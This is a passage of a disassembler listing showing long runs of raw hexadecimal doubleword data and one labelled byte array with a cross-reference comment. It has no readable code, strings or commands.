21CCF999h, 600118E7h, 0CA4AF47Fh dd 70387C71h, 69B585h, 6D4B42F8h, 8CB4216Ch, 0FD5AE04Fh dd 4F53BC0h, 47D34611h, 21F0C67Dh, 5D36B500h, 0E0EE2F5Fh dd 3A9613B8h, 0D0B400BDh, 0E57283EBh, 36E14B0Ch, 5F14B97Bh dd 178AFCF6h, 8809B61Ch, 7EAC84DCh, 0F2AE6C47h, 94664C42h dd 8ED01400h, 1C0A68FBh, 0DA790022h, 8B4DBD09h, 0EE006C49h dd 56883DBFh, 0C7E7C38h, 5807C8B5h, 0E1607AE1h, 0E9492249h dd 1260275h, 0B0235708h, 34F78D60h, 8800925Eh, 513C1F25h dd 62C71297h, 0C8A816FDh, 9F0664F0h, 7DFB111Ah, 0E07001B1h dd 6371A2F6h, 19CA10EEh, 0BF680634h, 891A8827h, 0B060DEF9h dd 701ABDEh, 75A77BFAh, 0A06C6042h, 0FC7FC40Fh, 838D26A7h dd 0F3C0C7F9h, 0B90676C2h, 0E01C8811h, 37E12449h, 4063609Ch dd 3D005889h, 0CB03946Dh, 5C04794Fh, 0F92684FBh, 0E6634300h dd 2B9F4107h, 0AED09E55h, 71EB842h, 26333C79h, 80B304C0h dd 6D8277A8h, 94F9AD44h, 0AC0F8038h, 0D44E470Ah, 0D7F34Ch dd 48E6AFF8h, 48C914B3h, 84C59B7h, 3BE50380h, 0B800B65Fh dd 4889D124h, 5CE46956h, 0B7835C2Eh, 6C00572Ch, 2DEB2128h dd 91F4C831h, 44B30184h, 0F1C1EFE2h, 0AF1C2071h, 0B0FCC826h dd 0C9111B40h, 1518ABFAh, 44208EC0h, 2CC63A75h, 4E15341Ch dd 7A0B90ABh, 6E712C90h, 941C0800h, 132CA3D1h, 21C50252h dd 0B367A736h, 2098CC61h, 0AC0B7510h, 48044F7Ch, 1E5C5740h dd 4EF2E7h, 496EFFE2h, 4C1D0AC3h, 874453EAh, 5D40E33Bh dd 3F7824D4h, 8011F038h, 0B5F76CF4h, 4A16DC22h, 0DA6C4F66h dd 1F928740h, 7C09FF91h, 48A20F3Dh, 0F485B4ACh, 41C11CECh dd 0C4614703h, 828620E8h, 0DD006426h, 0CC1A72DCh, 22BC81h dd 1DEE5942h, 0B457E05Ah, 70859E26h, 0D4016212h, 7395AEC5h dd 51ADAC40h, 1F6307CCh, 0F6DBFA58h, 0FB4498EBh, 920D3F4Eh dd 3EC68900h, 0DA7FD5A3h, 817E2B00h, 0B1A969FAh, 78A5FA16h dd 98C1E645h, 0B7893860h, 56ACF8C5h, 886C1F0Eh, 0F6C8C5F5h dd 0E241C088h dd 901112EEh, 2204B4CAh, 4032A8C9h, 0F582ED0h, 35E199F0h dd 8554E432h, 5E288h, 0F481AECDh, 61D08C77h, 6CA8321Fh dd 6B1D0CC0h, 2A07F1ABh, 0FCF48Dh, 0C4F9EF74h, 34DAD49Ch dd 7D881150h, 7BA5DF14h, 7A6905F8h, 0A4A21F9Fh, 352E5A00h dd 0CF239B3Eh, 3B2A7500h, 2452B6ADh, 46EB0C1Eh, 2C61047Ah dd 0E538FC04h, 0D0C1F035h, 71C48D77h, 0C61E14E9h, 0C01DC0CDh dd 4D588510h, 4164F463h, 0AEBE0EBh, 0A23BC200h, 7BB0F235h dd 0BBF4A054h, 554B0B3h, 0B167566Fh, 0FAD98030h, 40152A62h dd 888CFFh, 79BEB3Ah, 9CA785h, 0D69D39EEh, 5BD0C387h, 0DF8000B1h dd 2ECCC4C6h, 50947386h, 0D9447Ah, 7081FB64h, 0D06D44F9h dd 270134ECh, 0F240246Eh, 0BC72FC6Bh, 0D5718900h, 0B0F6DC59h dd 43B1314h, 0E8C073DCh, 3EF3128Bh, 0AB75A7h, 0D5EAA262h dd 11D06514h, 0A1EB4114h, 0DDDA005Ch, 380F61E6h, 0BB1E39FAh dd 8C89F78Fh, 0A01A19E5h, 51F0BCD0h, 87A27019h, 6DD8AA39h dd 425767Ch, 644739EDh, 1214CCE2h, 0A7120AF2h, 0F4E2F01Ch dd 9525D307h, 55F980B1h, 327DE076h, 10246200h, 315EEF45h dd 20734A14h, 40C92664h, 0BD8A1A00h, 0A44F8306h, 6DED00CDh dd 85C4D798h, 7E111B57h, 0AF00E363h, 0E13EC3B8h, 3F002A52h dd 3B84B611h, 0CC5894h, 428ADDCFh, 8F1FFD36h, 60346098h dd 34F0A17Ah, 61F73B89h, 93A48B00h, 98FEAD8Ah, 650D91C0h dd 3D8143DFh, 3980F626h, 92F9FC19h, 0B0005FD6h, 2C642758h dd 1D9B14F8h, 805DB46Fh, 0C8DC3FCEh, 49C7C002h, 5833C50h dd 3B1100B4h, 35335DAFh, 0B1FB1Ah, 54FC309h, 2E804DA1h dd 0F50FD6h, 0E3B8819Bh, 13BA5E85h, 521EC0FFh, 0CF01C498h dd 736B993Ah, 0DC31487Fh, 69C27C78h, 2059A95Eh, 97DD9900h dd 7B28EC5Fh, 14B00047h, 0FA61C4F7h, 0EA0E1C9Ah, 60934D5Eh dd 0C25C40CAh, 0E08D07C7h, 9091F9F4h, 3F8DFBAh, 0ECE58B7Ah dd 1100AE99h, 9FF9A462h, 4B06F7h, 39A81F0Ch, 9A7C5C41h dd 59052113h, 57B14800h, 0A128DE69h, 0BC148F84h, 0E9CA0BC4h dd 877C9009h, 1AEEC7BEh, 42A0F0BBh, 9000B052h, 0C51946F5h dd 5CAF9EAh, 8AEC4C74h, 0FA60815Ah, 69643027h, 0D8C2B8EEh dd 56A1BF90h, 0A000BBC8h, 49D013AFh, 7F00ADFBh, 0CAAC0480h dd 1203DA18h, 0B25BE1B5h, 7FC81EB0h, 64593FDCh, 747D40C0h dd 0BC90872Fh, 0CF007D29h, 8E3FC32Ah, 481D9490h, 0B82CCC39h dd 0CAB70BACh, 82BB7880h, 7871757Fh, 724E3500h, 444B8BCEh dd 53E61112h, 66F6097Ch, 6FFC189Eh, 96430068h, 0D770239h dd 0ECB0ED9Bh, 0D3B3CA05h, 0CC8DFFC8h, 1C24052Eh, 79188096h dd 4245685h, 771178C2h, 9064F60Bh, 0EC15004h, 54682097h dd 1E5F794h, 9FD829Dh, 758B8965h, 30912154h, 6C4B8DB8h dd 10FA9C49h, 7A1258h, 586F70BFh, 9D537844h, 639830F1h dd 25810E00h, 0CC5E4F7Dh, 40095BEBh, 4EC374Ch, 4800F34Dh dd 0D51C5924h, 35808F5h, 0F0A95238h, 0FAEA2936h, 0B580E45Ch dd 3A4205BEh, 0EA190861h, 9D8798FEh, 5660F5FAh, 13D223AEh dd 0A24893CCh, 0B51F0034h, 0F2283460h, 0C35C0263h, 69C7F7ECh dd 54FFC840h, 2CB9F48Bh, 18432402h, 3141C571h, 21902035h dd 35904FECh, 69DBE105h, 0F8C93B88h, 3895B04Ch, 0A8005020h dd 0BBFB7F6Fh, 0A1EA7B6Bh, 9CB1253Ah, 560B14AFh, 2E10185Ah dd 0EF22072Fh, 0C95960E3h, 0DDB9E4E8h, 46009F78h, 8A04713Bh dd 0F8ACCE52h, 0F7720224h, 80FC6DCFh, 42E454DAh, 112ADC00h dd 0EB371F51h, 96320160h, 0FB853B9Eh, 0C4B47078h, 6D062098h dd 0C5B7D7A3h, 0CC50BDB9h, 0DC0AB303h, 0F863173Dh, 38F9AF8h dd 66EE449Fh, 40128D3Eh, 949062B9h, 0BE9C55h, 3AC64A6Eh dd 75BFFB41h, 0D05AE100h, 8AF1F848h, 0F4FC397Fh, 0E2FAD200h dd 0A43B720Ah, 0CB119712h, 84004016h, 0C04F256Dh, 91E5608Ch dd 6AB92D98h, 0A39DC700h, 129B81D1h, 49793B03h, 9F51F92h dd 2880A474h, 0CF78B4F6h, 4FACE202h, 0E47B9017h, 0A2510C70h dd 31F81F73h, 11BA9B01h, 4CF6BC3Eh, 248ACFF4h, 1942456h dd 0ECDC69F7h, 58EA8514h, 30A21D7Ch, 0CD01B138h, 43EF8939h dd 8A03D832h, 0CB539304h, 8C88B795h, 0D5B604E9h, 83214B1Dh dd 0FA8625Dh, 180CE7CFh, 0B8F20DB0h, 7148B9h, 0DB38C2C0h dd 0A2F1278h, 0E67880A3h, 9F7A1E19h, 0CDB2BC03h, 6B5481ADh dd 5C5EC204h, 14EEF940h, 0A89E02A2h, 362C81EBh, 820BE8D1h dd 72F4C7h, 988D2F74h, 0B060FAE2h, 6A621479h, 806096FFh dd 98160397h, 0BF002942h, 59DB9CCFh, 0AD43D6h, 21C31A82h dd 4EC0FA0Bh, 0FF8F4F06h, 0B090573Ch, 0DC240340h, 279855Ch dd 0C0F0C2ECh, 5671AB22h, 3E2103B0h, 0A1F67A49h, 29DCB700h dd 0FC2A5888h, 521905E1h, 96BD6h, 89ACFAD5h, 685E8D7Ch dd 95692430h, 9412505Eh, 93F829CBh, 59948188h, 0C4A645D5h dd 0C325FFD9h, 13DC442Ah, 0C9C70Fh, 0B6258451h, 0AA004215h dd 0BE0ED826h, 37EE2C2h, 0E762F4CDh, 0E398CC48h, 909FEC69h dd 0EF85B10h, 8B75E5A6h, 0C12CBF20h, 0E0029DCFh, 0FA623D96h dd 46D0C816h, 37E12CC3h, 6E44028h, 0E9F6521Fh, 2CE83348h dd 0CC00AB61h, 49E6271Ah, 88939742h, 1BB866B0h, 54056000h dd 0DE6146Ah, 2EE11684h, 14EC1818h, 0AD5CC73Dh, 5D50017h dd 2EF11150h, 7659F23Bh, 731E0358h, 7120A22Fh, 0C91F87A8h dd 566FB701h, 0DFA0338Bh, 74D9E042h, 0B4822D5Ch, 0D0D27919h dd 7302F175h, 0B0B9FF37h, 0C7D4C117h, 493054D2h, 0FD80F465h dd 2AA65F6Dh, 0ED1B04CCh, 0CC51E6E5h, 0A4B10354h, 0BA0AA028h dd 105EE1D3h, 9C803490h, 638CE2C4h, 57877096h, 64D9FDCFh dd 0B49B0018h, 0D650BAE7h, 6B1ECD0Bh, 6E5D2B14h, 0F5365601h dd 2040698Ch, 0F6DA03ECh, 988744FAh, 784884E2h, 1E825077h dd 80B7F800h, 722B4019h, 62A03DB2h, 11821B3Eh, 0A6E92753h dd 627A5A41h, 22D10018h, 92F7A2ADh, 38D500F3h, 162B23BFh dd 4A121E5Bh, 5C002528h, 60266286h, 3DE0983Ch, 7DA21378h dd 883DF8E0h, 2BE58924h, 822689BCh, 4094D0F4h, 1668FAB4h dd 21A1CAE8h, 0E00F4A6Ch, 5F013F55h, 6BE11EEDh, 0B7CDEF3Ch dd 78BD048h, 0D20F81A8h, 0F84C4065h, 3800BFB8h, 210DC48Dh dd 33E23D4h, 7EBD64CFh, 97E35314h, 78F446E1h, 5F809D14h dd 5CDD1BCFh, 225000DEh, 0D05827C0h, 0E80BB564h, 64F8C914h dd 0C04709F4h, 68185023h, 80002560h, 66933C1h, 78D377A1h dd 5820E5CDh, 0CF6400B6h, 0EFC82360h, 8C028EFFh, 0A56D900Ah dd 16B87C44h, 7ED8A017h, 0C944DE7Fh, 6C0F00B7h, 0B367B87h dd 1B021A93h, 5F267F86h, 147263h, 24D4BBBh, 0FEF1067h dd 0DAD71A00h, 0ED91011Bh, 513202AEh, 64E1B7A6h, 1338A4D1h dd 0E8E29DBCh, 0F658E601h, 0D8DB77ABh, 1AE015A3h, 2F17DE00h dd 0F4E2E7A9h, 2E1D0CFDh, 0A2B1F5D9h, 3FA2801h, 4F990490h dd 0C4D2CEh, 0B1C93837h, 0FBF4EBD4h, 9D86C005h, 0C88FF20h dd 87701D14h, 0F23642ECh, 0F858EFE0h, 0FC9C9516h, 0C9AD98D0h dd 0A0BD004Eh, 2F42EB52h, 4701A4FDh, 2212C8D7h, 2421072Ah dd 80EA09E8h, 0B007A378h, 0C1D6F0F9h, 5CE6653Fh, 80004C13h dd 8D8060A1h, 6CDB4566h, 0A8280418h, 90E812A7h, 88D5C7Dh dd 91DAC800h, 275EE8B3h, 9066172Dh, 5C0908h, 0F1258B2Dh dd 2086312h dd 9E4FC016h, 95594802h, 0C1ECA019h, 3DD56D64h, 0A78B3116h dd 78401FE0h, 5C52E1C4h, 0B04901CCh, 887E9A1h, 28642462h dd 6844E5FBh, 44C18714h, 0D7C00FA7h, 790CB19h, 0E6097810h dd 2A516D5Fh, 0A7CFA820h, 3EF30E42h, 3223D2E2h, 0F1AB3070h dd 18AFC788h, 7C20A84Ah, 0A520E0h, 716A4E9Ah, 27EF162h dd 0DC40FB4Ah, 0AD2DF57Dh, 0CC1E050Eh, 0C0D9BD18h, 72F33486h dd 98004498h, 0ADB31A51h, 1FFA5815h, 5A002F1h, 0B890E1B8h dd 0CF6B0B50h, 8A0852Eh, 450648Ch, 64C7865h, 0C8D28035h dd 0A600816Dh, 0AAD5B88Dh, 2C480AF7h, 409C09E5h, 0A55B11CBh dd 0A67B4B16h, 144C4200h, 3D5D9C5Ch, 0AC00B119h, 0F9A2598Ch dd 43ED663h, 2D568F08h, 0C83B81C7h, 223B84FCh, 0C920D4C4h dd 277F349h, 31549F8Eh, 85687CDh, 4A535D40h, 3C2D4810h dd 3567FF0Eh, 4E479080h, 9805E5D3h, 97822C5Eh, 52B4C8h dd 0C7CF6094h, 0EE9D506Fh, 6298909Dh, 69E0007Ah, 676CE973h dd 3A02B1A1h, 9FD8AA28h, 91050CFh, 5FE12274h, 7EAC92h dd 748C440h, 7A1806FEh, 286D4F61h, 87228842h, 454E0200h dd 0D9EDD883h, 663E24FEh, 1D3029EEh, 95CC8150h, 0C412F31Fh dd 0E11F5FAEh, 9D02B4EFh, 54628D66h, 0F0718048h, 0A090E612h dd 3C881A4Ah, 0F3D91DB7h, 0D25F0713h, 57E210DFh, 7209DA90h dd 0E8FB0191h, 6ABEA0h, 82EAD9B9h, 3DA3D06Fh, 424F3Dh db 15h, 1Fh, 4Ah byte_582323 db 11h ; DATA XREF: ___:off_44486Co dd 171D735h, 549EFD88h, 0F82B0CC7h, 5CB91E12h, 0E6804A9Dh dd 0DFF1C6Fh, 7D87017Fh, 0E8363A63h, 270078ADh, 67A000D9h dd 15867Fh, 0F9F0B11Ch, 0EF290A79h, 8B312C00h, 328CA1D3h dd 9E3E0B15h, 2C794905h, 6AB7C884h, 2071D882h, 0B359F403h dd 0BB6EFB12h, 401E1008h, 0E444AE51h, 0F9080F0Bh, 0B47402CAh dd 191960DCh, 0EB1014C1h, 1780E0FEh, 0E5CC6428h, 0D422AF00h dd 489B6DDAh, 8BCF0119h, 1771BC9Dh, 0C39A2h, 0FD8F8ABEh dd 2BA2991h, 3AB604E6h, 90520F88h, 2948E127h, 0BC0F0BCh dd 3C41AF64h, 924C1098h, 0C9A30E00h, 0ABBC7CA7h, 0ED9E0082h dd 58197661h, 16485AB2h, 0E90971E0h, 0D1328778h, 0EB030018h dd 880FD86Eh, 530AF500h, 827084C8h, 8B422622h, 0EDA200A4h dd 0B7769451h, 65001C91h, 0FF1F63D5h, 2DC5EEAAh, 0E020A271h dd 42DB1CE2h, 76CF23Eh, 10457B07h, 8831701h, 0F90ECC40h dd 3C1A48E8h, 2079B616h, 0F7A1D584h, 0D8573000h, 53B72CA7h dd 0A9EE0B8Ch, 400819Eh, 9C12CC78h, 6B0FFAEEh, 25149A5Fh dd 0C437B6B3h, 5259D720h, 2D38EED9h, 0E064530Fh, 0BC562C07h dd 0B11778DAh, 0F80DCBD0h, 896616DBh, 0E0602459h, 0FA4B0A3Ch dd 1436CC8h, 6419B55Ah, 20234890h, 0EA00BD68h, 0AC65C1F9h dd 173E3DA8h, 43EBE0C3h, 51D45F8Ch, 0D15DB4E1h, 408ACD0Ah dd 0F9FDA5C8h, 0FA010099h, 8E69BE4h, 0C864E0A7h, 56E57207h dd 47402D26h, 1C119Dh, 6DCEC9B9h, 0A46305F9h, 0FCC8035Bh dd 0AF1D008Ah, 7A72B0ABh, 7D00246Fh, 0DBCB76B1h, 24995998h dd 0E0846D8Dh, 93275231h, 4B134675h, 0C8206E8Dh, 3EF587ECh dd 1912EBCFh, 6B2000A2h, 2108A33Bh, 3C908C5Bh, 0F96C4Dh dd 0B7BF775h, 332B6135h, 7D8E85Ch, 8872111Ch, 805249h dd 8D1A3B59h, 4FCC651Fh, 0C9531100h, 0A77D2A45h, 66B606CBh dd 801F837Fh, 96840548h, 0A1C7FC07h, 0F36113h, 0C4695840h dd 8A048042h, 73B49095h, 0E80702DAh, 97C61160h, 87EFF0C0h dd 0DF7A680Fh, 64D867DDh, 0A5F08E11h, 17124A20h, 0C9B96DB6h dd 4C91DC24h, 31D69D00h, 90B8CB66h, 140F0041h, 7BB693A2h dd 0EE00FCDEh, 157244AAh, 243BE9F6h, 49641788h, 1A00A051h dd 54F5D88Bh, 2012026Bh, 62162F51h, 93E9FE0h, 3B303900h dd 49D375BEh, 487169F0h, 6A474010h, 68BE602h, 5EB401C9h dd 42D34428h, 27B3FF72h, 48EED0E0h, 4B9BC5Ah, 0C439DF80h dd 2457A9Bh, 0B09DDDCBh, 876EE96h, 0AE40DB47h, 156105h dd 0CAED8923h, 6F5113CBh, 8D10B300h, 0D2C2908Eh, 0DD5D0B47h dd 0D4F0151Fh, 0F4B1C798h, 3EBDB800h, 16E62BAEh, 1A527D2h dd 4AE99309h, 6619CC39h, 4080CC9Eh, 1BDF1BFh, 29A912F7h dd 0EC8D0188h, 8A845DE6h, 84368751h, 0D23EE760h, 0A1F011F8h dd 3CD40080h, 207DC82Bh, 220A3CE6h, 0D85A850Eh, 5BF30EEh dd 0C04D5304h, 0CB1502E4h, 46D3E325h, 2A5C02C8h, 572022C2h dd 0D01E38DAh, 803FD956h, 1A736028h, 60E24111h, 1D769905h dd 909552E6h, 12E5C3C0h, 0FE8F7Bh, 26CEBD54h, 0AB138BE8h dd 0D420FBC8h, 31DDFD9h, 0E9475D49h, 45D0E230h, 3E25A97Dh dd 0E1C8407Ch, 8CB01478h, 0CD83F0F5h, 0A0E894F9h, 6D092DC5h dd 0F9058804h, 0E21168h, 0A109B6EDh, 0F93DDAh, 0FD29A2E3h dd 70421DD4h, 0D4FAB829h, 0A018F700h, 34B8245h, 2A237EF1h dd 19A92867h, 52B29AA5h, 40C05661h, 5648728Eh, 0F2FF4717h dd 0B40B9900h, 7E3F60Eh, 6DDD08F1h, 807A46h, 7C1E7FAFh dd 20B56324h, 942F7D30h, 3F0F0FE8h, 1722EA56h, 94601E16h dd 7917D62Ch, 1492FDE2h, 187CE27Fh, 0AC064B0h, 9123355h dd 36003F78h, 7CCA3070h, 9707A6E6h, 9A54C9C4h, 0E14B9032h dd 84C29214h, 0ACC441B9h, 9DCA2840h, 53438AD3h, 7A008C36h dd 453209F7h, 52014263h, 5F91AE98h, 182D79FAh, 0F2757B01h dd 0DB40BCE0h, 0E6492580h, 0B30B8CFAh, 6B0911D3h, 8FC7B010h dd 0A30D03CDh, 9A895F38h, 0C7936AAh, 9635500h, 5083CCBCh dd 9C1ABE14h, 0CA7801A4h, 2F65F969h, 86C78C34h, 3B2592D0h dd 0C9DA0BACh, 8479D852h, 7A1DA800h, 0E2460E4h, 0A5DA7531h dd 8D599CA0h, 30BFDA9h, 0E8FC93CBh, 0F1F0Ch, 0CC52664Ah dd 1E2990E1h, 9D00C577h, 265EAE2Ah, 91A26214h, 635980B8h dd 52476C69h, 0B3A4B700h, 450CD1Eh, 1D4DEE6Ah, 0C1129BF8h dd 390C5DC2h, 0C9BE60A8h, 94CCC409h, 0CAC40430h, 9A67CC0h dd 953100E9h, 68C9177Dh, 3A015B60h, 0F714F11Fh, 41F0CF4Ah dd 51C7456h, 87EA1E5Ch, 145CC819h, 12068D1Dh, 0F7157300h dd 0F6A80Ch, 0D989FB94h, 881A5BF4h, 64D2194Ah, 0DCFAB7h dd 996F6C97h, 7A018F63h, 0D265FA05h, 0A489F9D9h, 0D84F4h dd 4F11EBCBh, 92DF5556h, 508CF803h, 0A9C89F34h, 0A610DD62h dd 4CB8EBA4h, 0AE1E7709h, 9CB068F9h, 563800AAh, 3D9F1ABEh dd 3E00D9A8h, 3260EFC8h, 16EA4C58h, 0BA05211h, 780BED68h dd 0E69ACC18h, 230F0909h, 3A74E418h, 0D2807268h, 0A194A411h dd 418BB53h, 0C158DA9Dh, 8008B927h, 0C03D2484h, 413F524Ch dd 77730013h, 0FAAA9625h, 448C0090h, 0F26F75F4h, 2E78EB7Fh dd 98947104h, 5FC2031Dh, 0E1CF1C6h, 0B643116Bh, 8ED82973h dd 5F12A091h, 14ACE9F1h, 0D87B90Bh, 51E1CC48h, 0F880B094h dd 40958E93h, 0EC24B094h, 77F7678h, 0D46398B9h, 7B504068h dd 0B10D3B82h, 0A25759E9h, 7125448h, 3FE44E13h, 0AD892028h dd 730E4F86h, 0F88C1E17h, 1F0CBAA1h, 47460F4Eh, 9E9906B8h dd 9FBB3E02h, 0F4554760h, 6414B090h, 75462AFh, 0E9CAF65Ch dd 0DA4E4810h, 0A8A1D8Eh, 2765007Ah, 7B92BD40h, 0CCF87424h dd 96DCCC03h, 7DC28011h, 200F5B88h, 0D8EFE214h, 29F95D04h dd 0D0A23251h, 0A230007Bh, 0E52A6586h, 4500F922h, 8EC21195h dd 12B45735h, 90FC7E87h, 0BD1BEEF4h, 7A3A9D00h, 1771D58Fh dd 0FB13391Dh, 215CE613h, 8B431664h, 98202AD0h, 6136C8h dd 47AF1240h, 2456C709h, 80529402h, 46C0E2B4h, 34210010h dd 0B7D56383h, 0AFF09ECCh, 1C941F00h, 0E1CFA56Fh, 9D7F017Eh dd 1433DD90h, 31F4C9EEh, 0E40DC539h, 0FC0006B2h, 0C43B4E1Ah dd 5F14A28Dh, 0AC5482E0h, 0BC5CF858h, 8C032E14h, 14E058h dd 92569DB9h, 0D83EB8B5h, 40C00758h, 5202AEDDh, 6FD0AA4h dd 0C7AC7E6Fh, 90A74803h, 0F5891A0h, 6705F08Dh, 8A9FBDC0h dd 7774EB80h, 6DC52E09h, 0FEB0389Dh, 0BFE50581h, 8CCB041Eh dd 9E01FDA4h, 46931086h, 4EE87AB8h, 739901BFh, 0C90FC765h dd 148832DEh, 89BCF48Dh, 45AF9h, 485F4BB9h, 0EC144711h dd 8F00CCE4h, 598BF904h, 968E5089h, 0A06C1234h, 50B88C58h dd 0F4706905h, 4CB84108h, 0F16589C7h, 29A1E9F9h, 1140050h dd 0F398A5E0h, 0D4D016Ch, 28C0252Dh, 0ADBE8027h, 0CC53BE6Fh dd 4F550ACAh, 540941h, 67E427A0h, 45002590h, 0BCF9AF40h dd 0A02EA8BDh, 4E5AFDF0h, 19D88854h, 94844D02h, 66C50429h dd 0C7FC08h, 0FDDD93A7h, 30CA69FCh, 0D5901400h, 3DBB395h dd 0A4827C73h, 0C7640AF8h, 11E0B618h, 0B4225E29h, 6660D5EFh dd 360016DEh, 0DA80DB9Eh, 9033175Eh, 65A42662h, 0F43C0163h dd 41B7D666h, 0F0C51968h, 0C00F59Ch, 3330586Dh, 0B5FFE723h dd 0E5E08093h, 0FC02722Fh, 713AF5Bh, 40E87E92h, 680A5399h dd 3E235003h, 0A86F7273h dd 3E3AABE9h, 7BF20486h, 7890BF5Ah, 0A6006C01h, 3003EF0Fh dd 0D9F439h, 938919B6h, 5290F8CBh, 2FF7C724h, 0EFB7C90Fh dd 0C841C17Fh, 0E868DD88h, 2F1E3A80h, 0D50073DBh, 879B7F6Eh dd 1CC918ACh, 0DDA4B253h, 6B74047h, 14430B30h, 83084BDh dd 3E8D4520h, 19334E04h, 44A99018h, 64BFC183h, 3CCC48B8h dd 0C5023CBEh, 57638D6Ah, 7AC4B498h, 91F78507h, 0DEB280F4h dd 0C06626h, 6F52AF7Eh, 95536932h, 6B2F875Ch, 347081h dd 11D56241h, 86F957A2h, 206139CFh, 10B73EEEh, 0B3F98EDh dd 9C78BE0Ah, 8CE00984h, 8D017C68h, 35041DDAh, 5D84168h dd 2D3E0087h, 7BF1D281h, 2E0058BBh, 0E3900313h, 8C8ED5h dd 799C9F8Bh, 0DBCC200Dh, 0E84440B0h, 9E5D004Fh, 7265031Ch dd 520340CEh, 60E6395Bh, 6CA1586Fh, 0B01496C7h, 40546450h dd 6515BB00h, 0B34ED468h, 0AE120980h, 3CF84BDBh, 4460749Ch dd 79E2DAh, 80A5D213h, 0FA8B0405h, 145702Ch, 0D4E1DB00h dd 5B14117Eh, 33E090FBh, 37010998h, 46A270F1h, 15ECC886h dd 0BF3A00AEh, 4FE4C7C3h, 56131E8Eh, 0FCE20D67h, 3E251700h dd 7543F0CBh, 5DBE1C00h, 0F30F56DFh, 32AFE8FEh, 97A0A66Ah dd 3098205Ah, 3F98317Fh, 0DB00309Ah, 0E9E15DA8h, 76F70317h dd 0F2041EE0h, 0E367008Bh, 727D83D3h, 0AC5C97FAh, 0EFB4CF8Ch dd 12FBC0C6h, 3DAA9E91h, 0FE6F0Eh, 42376A4Eh, 7F920A3Bh dd 0EAE4F817h, 50B27412h, 0AD580800h, 8D94E0FEh, 11925104h dd 58986290h, 0FE912C9Ah, 4C0276Ch, 7C27B631h, 601C101Ah dd 8D9700BCh, 0C1298373h, 8104A885h, 0C790E642h, 856DA4C2h dd 0C88292D4h, 0D9E8C088h, 4442794h, 80AAB8A0h, 2C00FD3Fh dd 78FF7B77h, 0BC5F850h, 0F9270134h, 0B3DCC410h, 4E219600h dd 95E412C3h, 4D4900FBh, 0ED5DB44Ch, 3024EB07h, 0C43B3CE9h dd 7E4830E1h, 4D6FB141h, 0E4416A25h, 325B03DCh, 6C8F931Eh dd 20FA9AA0h, 0B0DBA400h, 0B2E89C0h, 0F58700D5h, 14CF580Ah dd 15EE15Bh, 107A3049h, 74117FCh, 9393BEBh, 26864236h dd 0EC1A8060h, 8097F606h, 3D8982FCh, 4300AF3Ah, 0D9AC2B86h dd 95587CD7h, 9E3E07D4h, 52506E72h, 32247Fh, 3B4FD9C4h dd 0FF36F209h, 0F8EBEE24h, 9550A42Eh, 0C99800BFh, 0F56C99D9h dd 62277718h, 88441Fh, 8E875130h, 0E94DBF3Dh, 3CACEA09h dd 1059EBh, 0FC5C27F3h, 0F000C936h, 8CCF187Dh, 586D3119h dd 0F6179CCDh, 1A4DC77h, 8B000AE9h, 0EA13922Fh, 72E019D0h dd 0FBF2430Bh, 45BA0311h, 888A9CAh, 7425D873h, 0A70070E4h dd 0DFC4DBBCh, 39E0FD82h, 6C9E5269h, 28C1CFF7h, 8AC66865h dd 0CE701FF4h, 0A5046987h, 0F2F0E232h, 0F4EC00C0h, 0F52F4AA2h dd 44E414F6h, 2BE51A03h, 0A82890E1h, 7493F3F4h, 0C8020048h dd 4505B3C9h, 5302143Ah, 0A9F107A2h, 4024D48Bh, 0AF6D2F84h dd 0E71CE400h, 356AD48Ah, 724F1FDCh, 5C644062h, 0FB111E12h dd 0AC036091h, 0C0506AEAh, 0EAA3F04h, 0A4422C10h, 749CA620h dd 472D1317h, 16C60B5h, 1FB42FADh, 503DA444h, 53D024Ah dd 558875B6h, 0D48123E2h, 604DFC60h, 0A34F59F0h, 0D81CC830h dd 4AB831h, 9B75A7E8h, 0C146B4ACh, 16EF03Fh, 0C8EB17E1h dd 0FCCC88F4h, 32CE131Eh, 0F4A221h, 27623ED6h, 7F4995h dd 43D018E9h, 0D9925283h, 56C6111Ch, 275D5A00h, 9599EEh dd 20070271h, 0EA4039B4h, 4488744Ah, 49F0007Bh, 67EB7F9Eh dd 132CCC0Ah, 0B400C26Fh, 0A0C3FEB9h, 64665885h, 61E8B005h dd 2E50E141h, 1C000DE8h, 9E971242h, 1F167003h, 0A00806C3h dd 87E685D4h, 0E188880Fh, 11A07800h, 563F292Bh, 418B0033h dd 19F6F832h, 18905190h, 0FFF4891Dh, 9A00B35Dh, 4D943B87h dd 0D61504B2h, 8C93C251h, 317DF1B4h, 0D3BD2305h, 77C006EFh dd 9784DD5h, 494F27FFh, 0FA408C74h, 596C44h, 0BBB4BFC3h dd 0F6D22E5Fh, 9FC41D00h, 0CAF85873h, 7B8D274Ch, 0F05954A9h dd 3185E201h, 3C238903h, 79EE6C00h, 0CD3DC571h, 0FD8E9100h dd 8E290DEh, 948DF4DDh, 0CBA3809Ch, 0A5888EB6h, 3E7FCA1Ch dd 0B0B52F41h, 7C2061DAh, 391702C7h, 148C03CDh, 531C8CD1h dd 0D787A41Eh, 470EB21h, 0BA3529Bh, 7220DA15h, 0AA4BB818h dd 92690700h, 0D6872DEAh, 2B300EDh, 7342F0D0h, 7800971Bh dd 482B2072h, 4C1EC750h, 0A21624CAh, 8BE600A1h, 0D73262E2h dd 0E888895Ah, 0AE9F0078h, 8E9D525Bh, 0F7008F67h, 6F7C0E26h dd 12CF1E07h, 4250F41Fh, 7F97D594h, 2B0863C0h, 0C4F9F802h dd 0E078409Dh, 0F77184h, 0FF53CE92h, 27770516h, 0F5471404h dd 0FC80120Dh, 4CD4083h, 0F665F750h, 0CF388072h, 60DC0261h dd 56FCF504h, 445D1EFEh, 0EC6B0458h, 18738020h, 74E9E61h dd 2BC5102Ch, 0FAB692FFh, 0EB805074h, 13D09F75h, 0CB00015h dd 51D509FBh, 0CF020502h, 5AE6A5D1h, 0FD188004h, 70254Ch dd 58DA7139h, 0B10D16B4h, 2A128D35h, 5B0348E4h, 0D90CC061h dd 0C0F68890h, 13A6F20Dh, 203A3CA5h, 4E2C9FD4h, 64EDD919h dd 0CAEC7F7Ah, 439D0197h, 0B606CB19h, 80A82820h, 62F1486Ah dd 8D1E005Fh, 915636AAh, 0E6001889h, 111AB678h, 16346958h dd 0B4F0C8ECh, 0E803F320h, 14E70C04h, 8C262E72h, 0C08D4028h dd 455FDABEh, 0F68088h, 0C2E03E20h, 0BE93A968h, 0EF884F00h dd 5FF9E2BFh, 4DDA09B7h, 3CD6621Ah, 5C70CC01h, 0A7CCC915h dd 409214F6h, 0E116C880h, 9C28C851h, 1E7C100h, 0F5D6F4B6h dd 226E4B8Ch, 0C8ECCA7Ch, 